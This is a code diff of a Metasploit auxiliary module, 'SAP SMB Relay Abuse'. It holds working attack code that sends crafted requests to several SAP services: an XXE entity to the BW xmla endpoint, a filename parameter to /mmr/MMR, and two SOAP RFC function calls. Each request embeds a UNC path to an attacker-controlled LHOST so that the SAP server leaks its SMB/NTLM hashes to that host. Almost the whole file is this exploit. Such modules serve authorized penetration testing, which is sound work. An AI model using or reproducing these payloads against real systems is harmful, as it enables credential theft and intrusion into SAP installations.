1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ ##
9
+ # This module is based on, inspired by, or is a port of a plugin available in
10
+ # the Onapsis Bizploit Opensource ERP Penetration Testing framework -
11
+ # http://www.onapsis.com/research-free-solutions.php.
12
+ # Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
13
+ # in producing the Metasploit modules and was happy to share his knowledge and
14
+ # experience - a very cool guy.
15
+ #
16
+ # The following guys from ERP-SCAN deserve credit for their contributions -
17
+ # Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
18
+ # Dmitry Evdokimov.
19
+ #
20
+ # I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
21
+ # who have Beta tested the modules and provided excellent feedback. Some people
22
+ # just seem to enjoy hacking SAP :)
23
+ ##
24
+
25
+ require 'msf/core'
26
+
27
+ class Metasploit4 < Msf ::Auxiliary
28
+
29
+ include Msf ::Exploit ::Remote ::HttpClient
30
+ include Msf ::Auxiliary ::Report
31
+ include Msf ::Auxiliary ::Scanner
32
+
33
+ def initialize
34
+ super (
35
+ 'Name' => 'SAP SMB Relay Abuse' ,
36
+ 'Description' => %q{
37
+ This module exploits provides several SMB Relay abuse through different SAP
38
+ services and functions. The attack is done through specially crafted requests
39
+ including a UNC Path which will be accessing by the SAP system while trying to
40
+ process the request. In order to get the hashes the auxiliary/server/capture/smb
41
+ module can be used.
42
+ } ,
43
+ 'References' => [
44
+ [ 'URL' , 'http://erpscan.com/advisories/dsecrg-12-033-sap-basis-6-407-02-xml-external-entity/' ] ,
45
+ [ 'URL' , 'https://service.sap.com/sap/support/notes/1597066' ]
46
+ ] ,
47
+ 'Author' =>
48
+ [
49
+ 'Alexey Tyurin' , # xmla service SMB relay abuse discovery
50
+ 'nmonkee' # Metasploit module
51
+ ] ,
52
+ 'License' => MSF_LICENSE
53
+ )
54
+
55
+ register_options ( [
56
+ Opt ::RPORT ( 8000 ) ,
57
+ OptString . new ( 'CLIENT' , [ true , 'SAP client' , '001' ] ) ,
58
+ OptString . new ( 'USERNAME' , [ false , 'Username (Ex SAP*)' ] ) ,
59
+ OptString . new ( 'PASSWORD' , [ false , 'Password (Ex 06071992)' ] ) ,
60
+ OptAddress . new ( 'LHOST' , [ true , 'Server IP or hostname of the SMB Capture system' ] ) ,
61
+ OptEnum . new ( 'ABUSE' , [ true , 'SMB Relay abuse to use' , "MMR" ,
62
+ [
63
+ "MMR" ,
64
+ "BW" ,
65
+ "CLBA_CLASSIF_FILE_REMOTE_HOST" ,
66
+ "CLBA_UPDATE_FILE_REMOTE_HOST"
67
+ ]
68
+ ] ) ,
69
+ ] , self . class )
70
+
71
+ end
72
+
73
+ def valid_credentials?
74
+ if datastore [ 'USERNAME' ] . nil? or datastore [ 'USERNAME' ] . empty?
75
+ return false
76
+ end
77
+
78
+ if datastore [ 'PASSWORD' ] . nil? or datastore [ 'PASSWORD' ] . empty?
79
+ return false
80
+ end
81
+ return true
82
+ end
83
+
84
+ def run_xmla
85
+
86
+ if not valid_credentials?
87
+ vprint_error ( "#{ rhost } :#{ rport } - Credentials needed in order to abuse the SAP BW service" )
88
+ return
89
+ end
90
+
91
+ smb_uri = "\\ \\ #{ datastore [ 'LHOST' ] } \\ #{ Rex ::Text . rand_text_alpha_lower ( 7 ) } .#{ Rex ::Text . rand_text_alpha_lower ( 3 ) } "
92
+ data = '<?xml version="1.0" encoding="utf-8" ?>'
93
+ data << '<!DOCTYPE root ['
94
+ data << '<!ENTITY foo SYSTEM "' + smb_uri + '">'
95
+ data << ']>'
96
+ data << '<in>&foo;</in>'
97
+
98
+ begin
99
+ print_status ( "#{ rhost } :#{ rport } - Sending request for #{ smb_uri } " )
100
+ res = send_request_raw ( {
101
+ 'uri' => '/sap/bw/xml/soap/xmla?sap-client=' + datastore [ 'CLIENT' ] + '&sap-language=EN' ,
102
+ 'method' => 'POST' ,
103
+ 'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
104
+ 'data' => data ,
105
+ 'ctype' => 'text/xml; charset=UTF-8' ,
106
+ 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ]
107
+ } )
108
+ if res and res . code == 200 and res . body =~ /XML for Analysis Provider/ and res . body =~ /Request transfered is not a valid XML/
109
+ print_good ( "#{ rhost } :#{ rport } - SMB Relay looks successful, check your SMB capture machine" )
110
+ else
111
+ vprint_status ( "#{ rhost } :#{ rport } - Response: #{ res . code } - #{ res . message } " )
112
+ end
113
+ rescue ::Rex ::ConnectionError
114
+ print_error ( "#{ rhost } :#{ rport } - Unable to connect" )
115
+ return
116
+ end
117
+ end
118
+
119
+ def run_mmr
120
+ begin
121
+ smb_uri = "\\ \\ #{ datastore [ 'LHOST' ] } \\ #{ Rex ::Text . rand_text_alpha_lower ( 7 ) } .#{ Rex ::Text . rand_text_alpha_lower ( 3 ) } "
122
+
123
+ if datastore [ 'USERNAME' ] . empty?
124
+ vprint_status ( "#{ rhost } :#{ rport } - Sending unauthenticated request for #{ smb_uri } " )
125
+ res = send_request_cgi ( {
126
+ 'uri' => '/mmr/MMR' ,
127
+ 'method' => 'GET' ,
128
+ 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ] ,
129
+ 'ctype' => 'text/xml; charset=UTF-8' ,
130
+ 'vars_get' => {
131
+ 'sap-client' => datastore [ 'CLIENT' ] ,
132
+ 'sap-language' => 'EN' ,
133
+ 'filename' => smb_uri
134
+ }
135
+ } )
136
+
137
+ else
138
+ vprint_status ( "#{ rhost } :#{ rport } - Sending unauthenticated request for #{ smb_uri } " )
139
+ res = send_request_cgi ( {
140
+ 'uri' => '/mmr/MMR' ,
141
+ 'method' => 'GET' ,
142
+ 'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
143
+ 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ] ,
144
+ 'ctype' => 'text/xml; charset=UTF-8' ,
145
+ 'vars_get' => {
146
+ 'sap-client' => datastore [ 'CLIENT' ] ,
147
+ 'sap-language' => 'EN' ,
148
+ 'filename' => smb_uri
149
+ }
150
+ } )
151
+ end
152
+
153
+ if res
154
+ vprint_status ( "#{ rhost } :#{ rport } - Response: #{ res . code } - #{ res . message } " )
155
+ end
156
+ rescue ::Rex ::ConnectionError
157
+ print_error ( "#{ rhost } :#{ rport } - Unable to connect" )
158
+ return
159
+ end
160
+ end
161
+
162
+ def send_soap_rfc_request ( data , smb_uri )
163
+ if not valid_credentials?
164
+ vprint_error ( "#{ rhost } :#{ rport } - Credentials needed in order to abuse the SAP SOAP RFC service" )
165
+ return
166
+ end
167
+
168
+ begin
169
+ vprint_status ( "#{ rhost } :#{ rport } - Sending request for #{ smb_uri } " )
170
+ res = send_request_cgi ( {
171
+ 'uri' => '/sap/bc/soap/rfc' ,
172
+ 'method' => 'POST' ,
173
+ 'data' => data ,
174
+ 'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
175
+ 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ] ,
176
+ 'ctype' => 'text/xml; charset=UTF-8' ,
177
+ 'headers' => {
178
+ 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions' ,
179
+ } ,
180
+ 'vars_get' => {
181
+ 'sap-client' => datastore [ 'CLIENT' ] ,
182
+ 'sap-language' => 'EN'
183
+ }
184
+ } )
185
+ if res
186
+ vprint_status ( "#{ rhost } :#{ rport } - Response: #{ res . code } - #{ res . message } " )
187
+ end
188
+ rescue ::Rex ::ConnectionError
189
+ print_error ( "#{ rhost } :#{ rport } - Unable to connect" )
190
+ return
191
+ end
192
+ end
193
+
194
+ def run_clba_classif_file_remote
195
+ smb_uri = "\\ \\ #{ datastore [ 'LHOST' ] } \\ #{ Rex ::Text . rand_text_alpha_lower ( 7 ) } .#{ Rex ::Text . rand_text_alpha_lower ( 3 ) } "
196
+
197
+ data = '<?xml version="1.0" encoding="utf-8" ?>'
198
+ data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" '
199
+ data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" '
200
+ data << 'xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">'
201
+ data << '<SOAP-ENV:Header/>'
202
+ data << '<SOAP-ENV:Body>'
203
+ data << '<CLBA_CLASSIF_FILE_REMOTE_HOST xmlns="urn:sap-com:document:sap:rfc:functions">'
204
+ data << '<CLASSIF_FILE>'
205
+ data << '<item>'
206
+ data << '<ZEILE>a</ZEILE>'
207
+ data << '</item>'
208
+ data << '</CLASSIF_FILE>'
209
+ data << '<FILE_NAME>' + smb_uri + '</FILE_NAME>'
210
+ data << '</CLBA_CLASSIF_FILE_REMOTE_HOST>'
211
+ data << '</SOAP-ENV:Body>'
212
+ data << '</SOAP-ENV:Envelope>'
213
+ send_soap_rfc_request ( data , smb_uri )
214
+ end
215
+
216
+ def run_clba_update_file_remote
217
+ smb_uri = "\\ \\ #{ datastore [ 'LHOST' ] } \\ #{ Rex ::Text . rand_text_alpha_lower ( 7 ) } .#{ Rex ::Text . rand_text_alpha_lower ( 3 ) } "
218
+
219
+ data = '<?xml version="1.0" encoding="utf-8" ?>'
220
+ data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" '
221
+ data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" '
222
+ data << 'xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">'
223
+ data << '<SOAP-ENV:Header/>'
224
+ data << '<SOAP-ENV:Body>'
225
+ data << '<CLBA_UPDATE_FILE_REMOTE_HOST xmlns="urn:sap-com:document:sap:rfc:functions">'
226
+ data << '<DATA_TAB>'
227
+ data << '<item>'
228
+ data << '<TABNAME>a</TABNAME>'
229
+ data << '<NUMMER>0</NUMMER>'
230
+ data << '<TEXT>a</TEXT>'
231
+ data << '<COLOR>a</COLOR>'
232
+ data << '<DATA>a</DATA>'
233
+ data << '</item>'
234
+ data << '</DATA_TAB>'
235
+ data << '<FILE_NAME>' + smb_uri + '</FILE_NAME>'
236
+ data << '</CLBA_UPDATE_FILE_REMOTE_HOST>'
237
+ data << '</SOAP-ENV:Body>'
238
+ data << '</SOAP-ENV:Envelope>'
239
+ send_soap_rfc_request ( data , smb_uri )
240
+ end
241
+
242
+ def run_host ( ip )
243
+ case datastore [ 'ABUSE' ]
244
+ when "MMR"
245
+ run_mmr
246
+ when "BW"
247
+ run_xmla
248
+ when "CLBA_CLASSIF_FILE_REMOTE_HOST"
249
+ run_clba_classif_file_remote
250
+ when "CLBA_UPDATE_FILE_REMOTE_HOST"
251
+ run_clba_update_file_remote
252
+ end
253
+ end
254
+
255
+ end
0 commit comments